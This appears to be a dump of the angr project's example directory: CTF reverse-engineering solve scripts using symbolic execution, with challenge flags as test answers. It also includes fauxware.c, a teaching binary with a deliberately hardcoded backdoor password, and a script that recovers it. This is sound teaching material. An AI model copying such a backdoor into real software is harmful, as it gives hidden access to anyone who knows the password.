-------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from __future__ import print_function 3 | 4 | # Authors: David Manouchehri 5 | # P1kachu 6 | # Audrey Dutcher 7 | # DEFCON CTF Qualifier 2016 8 | # Challenge: baby-re 9 | # Write-up: http://hack.carleton.team/2016/05/21/defcon-ctf-qualifier-2016-baby-re/ 10 | # Runtime: ~15 seconds (thanks lazy solves!) 11 | 12 | import angr 13 | import claripy 14 | 15 | def main(): 16 | proj = angr.Project('./baby-re', auto_load_libs=False) 17 | 18 | # let's provide the exact variables received through the scanf so we don't have to worry about parsing stdin into a bunch of ints. 19 | flag_chars = [claripy.BVS('flag_%d' % i, 32) for i in range(13)] 20 | class my_scanf(angr.SimProcedure): 21 | def run(self, fmt, ptr): # pylint: disable=arguments-differ,unused-argument 22 | self.state.mem[ptr].dword = flag_chars[self.state.globals['scanf_count']] 23 | self.state.globals['scanf_count'] += 1 24 | 25 | proj.hook_symbol('__isoc99_scanf', my_scanf(), replace=True) 26 | 27 | sm = proj.factory.simulation_manager() 28 | sm.one_active.options.add(angr.options.LAZY_SOLVES) 29 | sm.one_active.globals['scanf_count'] = 0 30 | 31 | # search for just before the printf("%c%c...") 32 | # If we get to 0x402941, "Wrong" is going to be printed out, so definitely avoid that. 33 | sm.explore(find=0x4028E9, avoid=0x402941) 34 | 35 | # evaluate each of the flag chars against the constraints on the found state to construct the flag 36 | flag = ''.join(chr(sm.one_found.solver.eval(c)) for c in flag_chars) 37 | return flag 38 | 39 | def test(): 40 | assert main() == 'Math is hard!' 41 | 42 | if __name__ == '__main__': 43 | print(main()) 44 | -------------------------------------------------------------------------------- /examples/defcon2017quals_crackme2000/README.md: -------------------------------------------------------------------------------- 1 | # Solutions to DEFCON 2017 crackme2000 category 2 | 3 | The 2017 DEFCON CTF qualifying event had an entire category of automated reverse engineering challenges. 4 | We (Shellphish) solved all of them with angr (with, embarrassingly, one instance of light use of r2 to work around a PLT resolution bug). 5 | This directory contains the solutions. 6 | One day, we might add an explanation about how they work :-) 7 | 8 | We didn't just use blind symbolic exploration for these ones -- we leveraged angr's static analysis to target it to specific code regions or, in some cases, avoid having to use it altogether. 9 | 10 | The scripts: 11 | 12 | - [magic](./magic.py) 13 | - [occult](./occult.py) - angr has a PLT resolution bug that we'll get to eventually. In the meantime, we called out to r2 14 | - [sorcery](./sorcery.py) 15 | - [witchcraft](./witchcraft.py) 16 | - [enlightenment](./enlightenment) - This was a superset of all the others, with some extra complications. 17 | -------------------------------------------------------------------------------- /examples/defcon2017quals_crackme2000/enlightenment/classify.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from glob import glob 3 | import re 4 | from collections import defaultdict 5 | import shutil 6 | import os 7 | import hashlib 8 | 9 | files = glob('enlightenment_dist/*') 10 | libraries = defaultdict(list) 11 | ldds = {} 12 | 13 | for f in files: 14 | try: 15 | ldd_out = subprocess.check_output(['ldd', f]) 16 | except subprocess.CalledProcessError: 17 | continue 18 | libz = "" 19 | for line in ldd_out.splitlines(): 20 | match = re.match(r'\t(.*) =>', line) 21 | if match: 22 | libz += match.group(1) 23 | k = hashlib.md5(libz).hexdigest() 24 | libraries[k].append(f) 25 | ldds[k] = ldd_out 26 | 27 | print(list(libraries)) 28 | print(ldds) 29 | 30 | # ['libchicken.so.7', 'libutil.so.1', 'libstdc++.so.6', 'librt.so.1', 'libgcc_s.so.1', 'libm.so.6', 'libpthread.so.0', 'libswiftCore.so', 'libdl.so.2', 'linux-vdso.so.1', 'libc.so.6', 'libswiftGlibc.so'] 31 | for k in libraries.keys(): 32 | try: 33 | os.mkdir(k) 34 | except: 35 | pass 36 | for f in libraries[k]: 37 | try: 38 | shutil.move(f, k+'/') 39 | except: 40 | pass 41 | -------------------------------------------------------------------------------- /examples/defcon2017quals_crackme2000/enlightenment/solve_crystal.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import sys 3 | import os 4 | import capstone 5 | 6 | def solve(filename): 7 | p = angr.Project("acdde83f055b5bf9211d9ca1cbafbce2/%s" % filename, load_options={"auto_load_libs": False}) 8 | 9 | cfg = p.analyses.CFGFast(force_complete_scan=False, show_progressbar=False) 10 | 11 | our_fn = sorted(p.kb.functions.values(), key=lambda x: x.size)[-2] 12 | 13 | not_crap = [] 14 | for b in our_fn.blocks: 15 | t = b.capstone 16 | if len(t.insns) < 3: 17 | continue 18 | 19 | if t.insns[-3].insn.mnemonic == u"movzx" and \ 20 | t.insns[-2].insn.mnemonic == u"cmp" and \ 21 | (t.insns[-1].insn.mnemonic == u"jne" or \ 22 | t.insns[-1].insn.mnemonic == u"je" 23 | ): 24 | not_crap.append(t) 25 | 26 | good = [] 27 | for t in not_crap: 28 | if t.insns[-3].insn.operands[1].mem.base in \ 29 | (capstone.x86_const.X86_REG_RAX, capstone.x86_const.X86_REG_ECX): 30 | good.append(t) 31 | 32 | really_good = sorted(good, key=lambda x: x.insns[-3].insn.operands[1].mem.disp) 33 | 34 | # print(map(str, really_good)) 35 | 36 | solution = ''.join(chr(k.insns[-2].insn.operands[1].imm) for k in really_good) 37 | 38 | return solution 39 | 40 | def main(): 41 | for i, filename in enumerate(os.listdir("acdde83f055b5bf9211d9ca1cbafbce2")): 42 | if i % 8 != int(sys.argv[1]): 43 | continue 44 | if "." in filename: 45 | continue 46 | print(i, filename, '"%s"' % solve(filename)) 47 | 48 | if __name__ == "__main__": 49 | main() 50 | -------------------------------------------------------------------------------- /examples/defcon2017quals_crackme2000/enlightenment/solve_rust.py: -------------------------------------------------------------------------------- 1 | import os 2 | import string 3 | import sys 4 | 5 | import angr 6 | import capstone 7 | 8 | import logging 9 | 10 | logging.getLogger('cle.loader').setLevel(logging.ERROR) 11 | 12 | 13 | def solve(filename): 14 | p = angr.Project("0ac60e121305416e9fea5e5f887675a3/%s" % filename, auto_load_libs=False) 15 | cfg = p.analyses.CFG(show_progressbar=False) 16 | 17 | # the main function calls pthread_mutex_lock three times 18 | callgraph = cfg.functions.callgraph 19 | pthread_mutex_lock = cfg.functions.function(name='pthread_mutex_lock', plt=True) 20 | callers = callgraph.predecessors(pthread_mutex_lock.addr) 21 | 22 | assert callers 23 | the_func = None 24 | for caller_addr in callers: 25 | func = cfg.functions[caller_addr] 26 | the_node = [ n for n in func.transition_graph.nodes() if isinstance(n, angr.knowledge.Function) and n.addr == pthread_mutex_lock.addr ] 27 | in_edges = func.transition_graph.in_edges(the_node[0]) 28 | if len(in_edges) == 3: 29 | the_func = func 30 | break 31 | 32 | assert the_func is not None 33 | 34 | key = "" 35 | 36 | for block in sorted(the_func.blocks, key=lambda x: x.addr): 37 | insns = block.capstone.insns 38 | for insn in insns: 39 | if insn.mnemonic == 'cmp' and \ 40 | insn.operands[0].type == 1 and \ 41 | insn.operands[0].reg in (capstone.x86_const.X86_REG_CL, capstone.x86_const.X86_REG_AL) and \ 42 | insn.operands[1].type == 2: 43 | char = chr(insn.operands[1].imm) 44 | if char in string.printable: 45 | key += char 46 | break 47 | 48 | return key 49 | 50 | def main(): 51 | for i, filename in enumerate(os.listdir("0ac60e121305416e9fea5e5f887675a3")): 52 | if i % 8 != int(sys.argv[1]): 53 | continue 54 | if "." in filename: 55 | continue 56 | print(i, filename, '"%s"' % solve(filename)) 57 | 58 | if __name__ == "__main__": 59 | main() 60 | -------------------------------------------------------------------------------- /examples/defcon2017quals_crackme2000/magic.py: -------------------------------------------------------------------------------- 1 | 2 | import logging 3 | 4 | #l = logging.getLogger('angr.manager').setLevel(logging.DEBUG) 5 | 6 | import angr 7 | 8 | def solve(s): 9 | p = angr.Project("challs/magic_dist/%s" % s, 10 | auto_load_libs=False 11 | ) 12 | cfg = p.analyses.CFG() 13 | 14 | state = p.factory.blank_state(addr=0x400770) 15 | sm = p.factory.simulation_manager(state) 16 | sm.explore() 17 | sol = sm.deadended[-1].posix.dumps(0).replace("\x00", "").replace("\n", "") 18 | return sol 19 | 20 | def main(): 21 | #solve("65cb596908789372c2d6fbeb0ac3a0e3a1089039138711a016ec3994ad5c7f10") 22 | import pwn 23 | host, port = "cm2k-magic_b46299df0752c152a8e0c5f0a9e5b8f0.quals.shallweplayaga.me", 12001 24 | r = pwn.remote(host, port) 25 | print(r.readuntil("newline\n")) 26 | while True: 27 | filename = r.readuntil("\n").strip("\n") 28 | print(filename) 29 | sol = solve(filename) 30 | print(repr(sol)) 31 | data = sol.encode("base64") 32 | print("Send this:" + data) 33 | r.send(data) 34 | 35 | 36 | if __name__ == "__main__": 37 | main() 38 | -------------------------------------------------------------------------------- /examples/defcon2017quals_crackme2000/sorcery.py: -------------------------------------------------------------------------------- 1 | 2 | import logging 3 | 4 | #l = logging.getLogger('angr.manager').setLevel(logging.DEBUG) 5 | 6 | import angr 7 | 8 | def solve(s): 9 | p = angr.Project("sorcery_dist/%s" % s, 10 | auto_load_libs=False 11 | ) 12 | cfg = p.analyses.CFG(show_progressbar=True) 13 | 14 | func = cfg.functions[0x4030fc] 15 | # dump all cmp cls 16 | s = "" 17 | for block in sorted(func.blocks, key=lambda b: b.addr): 18 | insns = [ insn for insn in block.capstone.insns if insn.mnemonic == 'cmp' and insn.operands[0].type == 1 and insn.operands[0].reg in (2, 10) ] 19 | if not insns: 20 | continue 21 | insn = insns[0] 22 | imm = insn.operands[1].imm 23 | s += chr(imm) 24 | return s 25 | 26 | 27 | def main(): 28 | import pwn 29 | host, port = "cm2k-sorcery_13de8e6bf26e435fc43efaf46b488eae.quals.shallweplayaga.me", 12002 30 | r = pwn.remote(host, port) 31 | print(r.readuntil("newline\n")) 32 | while True: 33 | filename = r.readuntil("\n").strip("\n") 34 | print(filename) 35 | sol = solve(filename) 36 | print(repr(sol)) 37 | data = sol.encode("base64") 38 | print("Send this:" + data) 39 | r.send(data) 40 | 41 | 42 | if __name__ == "__main__": 43 | main() 44 | 45 | # The flag is: don't forget me when you're famous Klousovnec 46 | -------------------------------------------------------------------------------- /examples/defcon2017quals_crackme2000/witchcraft.py: -------------------------------------------------------------------------------- 1 | 2 | import logging 3 | import sys 4 | 5 | l = logging.getLogger('angr.manager').setLevel(logging.DEBUG) 6 | 7 | import angr 8 | 9 | pos = 0xd000000 10 | 11 | def recvuntil(sock, s): 12 | data = "" 13 | while True: 14 | char = sock.recv(1) 15 | if not char: 16 | break 17 | data += char 18 | if data.endswith(s): 19 | break 20 | return data 21 | 22 | class Alloca(angr.SimProcedure): 23 | def run(self): 24 | return self.state.solver.BVV(pos, 64) 25 | 26 | def solve(s): 27 | p = angr.Project("witchcraft_dist/%s" % s, 28 | auto_load_libs=False 29 | ) 30 | cfg = p.analyses.CFG(show_progressbar=True) 31 | 32 | # determine the function address 33 | callers = cfg.functions.callgraph.predecessors(cfg.functions.function(name='_TTSfq4n_s___TFVs11_StringCore15_encodeSomeUTF8fT4fromSi_TSiVs6UInt64_', plt=True).addr) 34 | caller_funcs = [ cfg.functions[caller_addr] for caller_addr in callers ] 35 | caller_func = sorted(caller_funcs, key=lambda f: f.size)[-1] 36 | 37 | print(hex(caller_func.addr)) 38 | state = p.factory.blank_state(addr=caller_func.addr, add_options={angr.options.LAZY_SOLVES}) 39 | state.regs.rbx = 0 40 | 41 | # get the function to hook 42 | ctr = 0 43 | alloca = None 44 | for block in sorted(caller_func.blocks, key=lambda b: b.addr): 45 | if block.vex.jumpkind == 'Ijk_Call': 46 | ctr += 1 47 | if ctr == 1: 48 | swift_retain = cfg.get_any_node(block.addr).successors[0].addr 49 | if ctr == 3: 50 | alloca = cfg.get_any_node(block.addr).successors[0].addr 51 | break 52 | 53 | if alloca is None: 54 | return "" 55 | 56 | print("swift_retain:", hex(swift_retain)) 57 | print("Alloca:", hex(alloca)) 58 | p.hook(swift_retain, angr.SIM_PROCEDURES['stubs']['ReturnUnconstrained']) 59 | p.hook(alloca, Alloca) 60 | 61 | sm = p.factory.simulation_manager(state) 62 | sm.explore() 63 | 64 | state = sm.deadended[-1] 65 | mem = state.memory.load(pos + 0x20, 60) 66 | mem_str = state.solver.eval(mem, cast_to=bytes).replace(b"\x00", b"") 67 | return mem_str 68 | 69 | def main(): 70 | import os 71 | for i, filename in enumerate(os.listdir("witchcraft_dist")): 72 | if i % 8 != int(sys.argv[1]): 73 | continue 74 | solution_file = "%s.solution" % filename 75 | if os.path.exists(solution_file): 76 | continue 77 | print(i, filename) 78 | sol = solve(filename) 79 | # data = sol.encode("base64") 80 | with open(solution_file, "wb") as f: 81 | f.write(sol) 82 | #print("Send this:" + data) 83 | #sock.send(data + "\n") 84 | 85 | 86 | if __name__ == "__main__": 87 | main() 88 | -------------------------------------------------------------------------------- /examples/defcon2019quals_veryandroidoso/README.md: -------------------------------------------------------------------------------- 1 | For more details read: . 2 | 3 | -------------------------------------------------------------------------------- /examples/defcon2019quals_veryandroidoso/ooo.defcon2019.quals.veryandroidoso.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/defcon2019quals_veryandroidoso/ooo.defcon2019.quals.veryandroidoso.apk -------------------------------------------------------------------------------- /examples/ekopartyctf2015_rev100/counter: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/ekopartyctf2015_rev100/counter -------------------------------------------------------------------------------- /examples/ekopartyctf2016_rev250/FUck_binary: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/ekopartyctf2016_rev250/FUck_binary -------------------------------------------------------------------------------- /examples/ekopartyctf2016_rev250/fake_libget_flag.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void get_flag() 4 | { 5 | puts("BOOM"); 6 | } 7 | -------------------------------------------------------------------------------- /examples/ekopartyctf2016_rev250/libget_flag.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/ekopartyctf2016_rev250/libget_flag.so -------------------------------------------------------------------------------- /examples/ekopartyctf2016_rev250/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | In this challenge we are given a binary that checks an input given from stdin. 5 | If it is correct, it will call get_flag in a separate library and print(it.) 6 | However, we don't have the library so need to find the correct input and input 7 | it over netcat. If it is incorrect, only 'Goodbye' is printed. 8 | 9 | Reversing shows that the program verifies the input character by character.] 10 | Because of the program's linear nature and reliance on verbose constraints, 11 | angr is perfect for solving this challenge quickly. On a virtual machine 12 | with one core and 4 GB of RAM, it took ~26 seconds to solve. 13 | 14 | Author: scienceman (@docileninja) 15 | Team: PPP (CMU) 16 | """ 17 | 18 | import angr 19 | import claripy 20 | import subprocess 21 | 22 | START = 0x400B30 # start of main 23 | FIND = 0x403A40 # part of program that prints the flag 24 | AVOID = [0x403A7E + i * 60 for i in range(100)] # all addresses after a failed check occur on a fixed interval 25 | 26 | BUF_LEN = 100 27 | 28 | def char(state, c): 29 | '''returns constraints s.t. c is printable''' 30 | return state.solver.And(c <= '~', c >= ' ') 31 | 32 | def main(): 33 | p = angr.Project('FUck_binary', auto_load_libs=False) 34 | 35 | print('creating state') 36 | flag = claripy.BVS('flag', BUF_LEN*8) 37 | state = p.factory.blank_state(addr=START, stdin=flag) 38 | 39 | print('adding constaints to stdin') 40 | for c in flag.chop(8): 41 | state.solver.add(char(state, c)) 42 | 43 | print('creating state and simgr') 44 | ex = p.factory.simulation_manager(state) 45 | ex.use_technique(angr.exploration_techniques.Explorer(find=FIND, avoid=AVOID)) 46 | 47 | print('running explorer') 48 | ex.run() 49 | 50 | print('found solution') 51 | correct_input = ex.one_found.posix.dumps(0) # ex._f is equiv. to ex.found[0] 52 | return correct_input 53 | 54 | def test(): 55 | team = main() 56 | p = subprocess.Popen(["./FUck_binary"], env={"LD_LIBRARY_PATH": "."}, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 57 | out, err = p.communicate(input=team + b"\n") 58 | assert b"BOOM" in out 59 | 60 | if __name__ == '__main__': 61 | team = main() 62 | print('found correct input/team name: {}'.format(repr(team))) 63 | -------------------------------------------------------------------------------- /examples/ekopartyctf2016_sokohashv2/matrix.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/ekopartyctf2016_sokohashv2/matrix.bin -------------------------------------------------------------------------------- /examples/ekopartyctf2016_sokohashv2/sokohashv2.0.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/ekopartyctf2016_sokohashv2/sokohashv2.0.exe -------------------------------------------------------------------------------- /examples/fauxware/fauxware: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/fauxware/fauxware -------------------------------------------------------------------------------- /examples/fauxware/fauxware.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | char *sneaky = "SOSNEAKY"; 8 | 9 | int authenticate(char *username, char *password) 10 | { 11 | char stored_pw[9]; 12 | stored_pw[8] = 0; 13 | int pwfile; 14 | 15 | // evil back d00r 16 | if (strcmp(password, sneaky) == 0) return 1; 17 | 18 | pwfile = open(username, O_RDONLY); 19 | read(pwfile, stored_pw, 8); 20 | 21 | if (strcmp(password, stored_pw) == 0) return 1; 22 | return 0; 23 | 24 | } 25 | 26 | int accepted() 27 | { 28 | printf("Welcome to the admin console, trusted user!\n"); 29 | } 30 | 31 | int rejected() 32 | { 33 | printf("Go away!"); 34 | exit(1); 35 | } 36 | 37 | int main(int argc, char **argv) 38 | { 39 | char username[9]; 40 | char password[9]; 41 | int authed; 42 | 43 | username[8] = 0; 44 | password[8] = 0; 45 | 46 | printf("Username: \n"); 47 | read(0, username, 8); 48 | read(0, &authed, 1); 49 | printf("Password: \n"); 50 | read(0, password, 8); 51 | read(0, &authed, 1); 52 | 53 | authed = authenticate(username, password); 54 | if (authed) accepted(); 55 | else rejected(); 56 | } 57 | -------------------------------------------------------------------------------- /examples/fauxware/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import angr 4 | import sys 5 | 6 | # Look at fauxware.c! This is the source code for a "faux firmware" (@zardus 7 | # really likes the puns) that's meant to be a simple representation of a 8 | # firmware that can authenticate users but also has a backdoor - the backdoor 9 | # is that anybody who provides the string "SOSNEAKY" as their password will be 10 | # automatically authenticated. 11 | 12 | 13 | def basic_symbolic_execution(): 14 | # We can use this as a basic demonstration of using angr for symbolic 15 | # execution. First, we load the binary into an angr project. 16 | 17 | p = angr.Project('fauxware', auto_load_libs=False) 18 | 19 | # Now, we want to construct a representation of symbolic program state. 20 | # SimState objects are what angr manipulates when it symbolically executes 21 | # binary code. 22 | # The entry_state constructor generates a SimState that is a very generic 23 | # representation of the possible program states at the program's entry 24 | # point. There are more constructors, like blank_state, which constructs a 25 | # "blank slate" state that specifies as little concrete data as possible, 26 | # or full_init_state, which performs a slow and pedantic initialization of 27 | # program state as it would execute through the dynamic loader. 28 | 29 | state = p.factory.entry_state() 30 | 31 | # Now, in order to manage the symbolic execution process from a very high 32 | # level, we have a SimulationManager. SimulationManager is just collections 33 | # of states with various tags attached with a number of convenient 34 | # interfaces for managing them. 35 | 36 | sm = p.factory.simulation_manager(state) 37 | 38 | # Uncomment the following line to spawn an IPython shell when the program 39 | # gets to this point so you can poke around at the four objects we just 40 | # constructed. Use tab-autocomplete and IPython's nifty feature where if 41 | # you stick a question mark after the name of a function or method and hit 42 | # enter, you are shown the documentation string for it. 43 | 44 | # import IPython; IPython.embed() 45 | 46 | # Now, we begin execution. This will symbolically execute the program until 47 | # we reach a branch statement for which both branches are satisfiable. 48 | 49 | sm.run(until=lambda sm_: len(sm_.active) > 1) 50 | 51 | # If you look at the C code, you see that the first "if" statement that the 52 | # program can come across is comparing the result of the strcmp with the 53 | # backdoor password. So, we have halted execution with two states, each of 54 | # which has taken a different arm of that conditional branch. If you drop 55 | # an IPython shell here and examine sm.active[n].solver.constraints 56 | # you will see the encoding of the condition that was added to the state to 57 | # constrain it to going down this path, instead of the other one. These are 58 | # the constraints that will eventually be passed to our constraint solver 59 | # (z3) to produce a set of concrete inputs satisfying them. 60 | 61 | # As a matter of fact, we'll do that now. 62 | 63 | input_0 = sm.active[0].posix.dumps(0) 64 | input_1 = sm.active[1].posix.dumps(0) 65 | 66 | # We have used a utility function on the state's posix plugin to perform a 67 | # quick and dirty concretization of the content in file descriptor zero, 68 | # stdin. One of these strings should contain the substring "SOSNEAKY"! 69 | 70 | if b'SOSNEAKY' in input_0: 71 | return input_0 72 | else: 73 | return input_1 74 | 75 | def test(): 76 | r = basic_symbolic_execution() 77 | assert b'SOSNEAKY' in r 78 | 79 | if __name__ == '__main__': 80 | sys.stdout.buffer.write(basic_symbolic_execution()) 81 | 82 | # You should be able to run this script and pipe its output to fauxware and 83 | # fauxware will authenticate you. 84 | -------------------------------------------------------------------------------- /examples/flareon2015_10/challenge-7.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/flareon2015_10/challenge-7.sys -------------------------------------------------------------------------------- /examples/flareon2015_10/solve.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | import angr 4 | from angr.sim_type import SimTypeFunction, SimTypeInt 5 | from angr.procedures.stubs.UserHook import UserHook 6 | 7 | # This is literally how I solved this challenge during the game. Now I know it's easier 8 | # to just call tea_decrypt with those bytes (and the correct key), but I don't want to 9 | # change this script anymore. 10 | 11 | # You are strongly recommended to use pypy to run this script in order to get a better 12 | # performance. 13 | 14 | # I would like to thank my girlfriend for allowing me to work on FlareOn challenges 15 | # during several nights we spent together. 16 | 17 | ARRAY_ADDRESS = 0x29f210 18 | BIG_PROC = 0x2d2e0 19 | 20 | def before_tea_decrypt(state): 21 | # Here we want to set the value of the byte array starting from 0x29f210 22 | # I got those bytes by using cross-reference in IDA 23 | all_bytes = bytes([0x56, 0x7f, 0xdc, 0xfa, 0xaa, 0x27, 0x99, 0xc4, 0x6c, 0x7c, 24 | 0xfc, 0x92, 0x61, 0x61, 0x47, 0x1a, 0x19, 0xb9, 0x63, 0xfd, 25 | 0xc, 0xf2, 0xb6, 0x20, 0xc0, 0x2d, 0x5c, 0xfd, 0xd9, 0x71, 26 | 0x54, 0x96, 0x4f, 0x43, 0xf7, 0xff, 0xbb, 0x4c, 0x5d, 0x31]) 27 | state.memory.store(ARRAY_ADDRESS, all_bytes) 28 | 29 | def main(): 30 | p = angr.Project('challenge-7.sys', load_options={'auto_load_libs': False}) 31 | 32 | # Set a zero-length hook, so our function got executed before calling the 33 | # function tea_decrypt(0x100f0), and then we can keep executing the original 34 | # code. Thanks to this awesome design by @rhelmot! 35 | p.hook(0xadc31, before_tea_decrypt, length=0) 36 | 37 | # Initialize the function instance 38 | proc_big_68 = p.factory.callable(BIG_PROC, prototype='unsigned foo(unsigned)', toc=None, concrete_only=True) 39 | # Call the function and get the final state 40 | proc_big_68.perform_call(0) 41 | state = proc_big_68.result_state 42 | # Load the string from memory 43 | return state.solver.eval(state.memory.load(ARRAY_ADDRESS, 40), cast_to=bytes).strip(b'\0') 44 | 45 | def test(): 46 | assert main() == b"unconditional_conditions@flare-on.com" 47 | 48 | if __name__ == "__main__": 49 | # Turn on logging so we know what's going on... 50 | # It's up to you to set up a logging handler beforehand 51 | logging.getLogger('angr.manager').setLevel(logging.DEBUG) 52 | print(main()) 53 | -------------------------------------------------------------------------------- /examples/flareon2015_2/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import angr 3 | 4 | def main(): 5 | b = angr.Project("very_success", load_options={"auto_load_libs":False}) 6 | # create a state at the checking function 7 | # Since this is a windows binary we have to start after the windows library calls 8 | # remove lazy solves since we don't want to explore unsatisfiable paths 9 | s = b.factory.blank_state(addr=0x401084) 10 | # set up the arguments on the stack 11 | s.memory.store(s.regs.esp+12, s.solver.BVV(40, s.arch.bits)) 12 | s.mem[s.regs.esp+8:].dword = 0x402159 13 | s.mem[s.regs.esp+4:].dword = 0x4010e4 14 | s.mem[s.regs.esp:].dword = 0x401064 15 | # store a symbolic string for the input 16 | s.memory.store(0x402159, s.solver.BVS("ans", 8*40)) 17 | # explore for success state, avoiding failure 18 | sm = b.factory.simulation_manager(s) 19 | sm.explore(find=0x40106b, avoid=0x401072) 20 | # print(the string) 21 | found_state = sm.found[0] 22 | return found_state.solver.eval(found_state.memory.load(0x402159, 40), cast_to=bytes).strip(b'\0') 23 | 24 | def test(): 25 | assert main() == b'a_Little_b1t_harder_plez@flare-on.com' 26 | 27 | if __name__ == '__main__': 28 | print(main()) 29 | -------------------------------------------------------------------------------- /examples/flareon2015_2/very_success: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/flareon2015_2/very_success -------------------------------------------------------------------------------- /examples/flareon2015_5/challenge.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/flareon2015_5/challenge.pcap -------------------------------------------------------------------------------- /examples/flareon2015_5/sender: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/flareon2015_5/sender -------------------------------------------------------------------------------- /examples/flareon2015_5/solve.py: -------------------------------------------------------------------------------- 1 | """ 2 | Full writeup of the walkthrough: 3 | http://0x0atang.github.io/reversing/2015/09/18/flareon5-concolic.html 4 | """ 5 | import angr 6 | 7 | 8 | # Globals 9 | LEN_PW = 0x22 10 | ADDR_PW_ORI = ADDR_PW_ENC = ADDR_HASH = 0 11 | GOAL_HASH = 'UDYs1D7bNmdE1o3g5ms1V6RrYCVvODJF1DpxKTxAJ9xuZW==' 12 | 13 | 14 | def hook_duplicate_pw_buf(state): 15 | for i in range(LEN_PW): 16 | char_ori = state.memory.load(ADDR_PW_ORI + i, 1) 17 | state.memory.store(ADDR_PW_ENC + i, char_ori) 18 | state.regs.ebx = ADDR_PW_ENC 19 | 20 | def hook_use_dup_pw_buf(state): 21 | state.regs.ecx = ADDR_PW_ENC 22 | 23 | def hook_heapalloc(state): 24 | state.regs.eax = ADDR_HASH 25 | 26 | 27 | def main(): 28 | global ADDR_PW_ORI, ADDR_PW_ENC, ADDR_HASH 29 | 30 | # Load binary 31 | p = angr.Project('sender', auto_load_libs=False) 32 | 33 | # Start with a blank state at the EIP after "key.txt" is read 34 | state = p.factory.blank_state(addr=0x401198) 35 | 36 | # Initialize global variables 37 | ADDR_PW_ORI = state.regs.ebp - 0x80004 38 | ADDR_PW_ENC = ADDR_PW_ORI + 0x10000 39 | ADDR_HASH = state.regs.ebp - 0x40000 40 | 41 | # Setup stack to simulate the state after which the "key.txt" is read 42 | state.regs.esi = LEN_PW 43 | for i in range(LEN_PW): 44 | state.mem[ADDR_PW_ORI+i:].byte = state.solver.BVS('pw', 8) 45 | 46 | # Hook instructions to use a separate buffer for the XOR-ing function 47 | p.hook(0x401259, hook_duplicate_pw_buf, length=0) 48 | p.hook(0x4011E7, hook_use_dup_pw_buf, length=0) 49 | 50 | # To avoid calling imports (HeapAlloc), retrofit part of the stack as 51 | # temporary buffer to hold symbolic copy of the password 52 | p.hook(0x4011D6, hook_heapalloc, length=5) 53 | 54 | # Explore the states until after the hash is computed 55 | sm = p.factory.simulation_manager(state) 56 | sm.explore(find=0x4011EC) 57 | 58 | # Add constraints to make final hash equal to the one we want 59 | # Also restrict the hash to only printable bytes 60 | found_s = sm.found[0] 61 | for i in range(len(GOAL_HASH)): 62 | char = found_s.memory.load(ADDR_HASH + i, 1) 63 | found_s.add_constraints(char >= 0x21, 64 | char <= 0x7e, 65 | char == ord(GOAL_HASH[i])) 66 | 67 | # Solve for password that will result in the required hash 68 | return found_s.solver.eval(found_s.memory.load(ADDR_PW_ORI+0, 1), cast_to=bytes) + \ 69 | found_s.solver.eval(found_s.memory.load(ADDR_PW_ORI+1, LEN_PW-1), cast_to=bytes) 70 | 71 | def test(): 72 | assert main() == b'Sp1cy_7_layer_OSI_dip@flare-on.com' 73 | 74 | if __name__ == '__main__': 75 | print(main()) 76 | -------------------------------------------------------------------------------- /examples/google2016_unbreakable_0/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # Author: David Manouchehri 4 | # Google 2016 CTF 5 | # Challenge: Unbreakable Enterprise Product Activation 6 | # Team: hack.carleton (http://hack.carleton.team/) 7 | # Runtime: ~4.5 seconds (single threaded E5-2666 v3 @ 2.90GHz on AWS/EC2) 8 | 9 | import angr 10 | 11 | import claripy 12 | 13 | def main(): 14 | proj = angr.Project('./unbreakable-enterprise-product-activation', load_options={"auto_load_libs": False}) # Disabling the automatic library loading saves a few milliseconds. 15 | 16 | input_size = 0x43; # Max length from strncpy, see 0x4005ae. 17 | 18 | argv1 = claripy.BVS("argv1", input_size * 8) 19 | 20 | initial_state = proj.factory.entry_state(args=["./unbreakable-enterprise-product-activation", argv1], add_options={angr.options.LAZY_SOLVES}) 21 | initial_state.libc.buf_symbolic_bytes=input_size + 1 # Thanks to Christopher Salls (@salls) for pointing this out. By default there's only 60 symbolic bytes, which is too small. 22 | 23 | # For some reason if you constrain too few bytes, the solution isn't found. To be safe, I'm constraining them all. 24 | for byte in argv1.chop(8): 25 | initial_state.add_constraints(byte != '\x00') # null 26 | initial_state.add_constraints(byte >= ' ') # '\x20' 27 | initial_state.add_constraints(byte <= '~') # '\x7e' 28 | # Source: 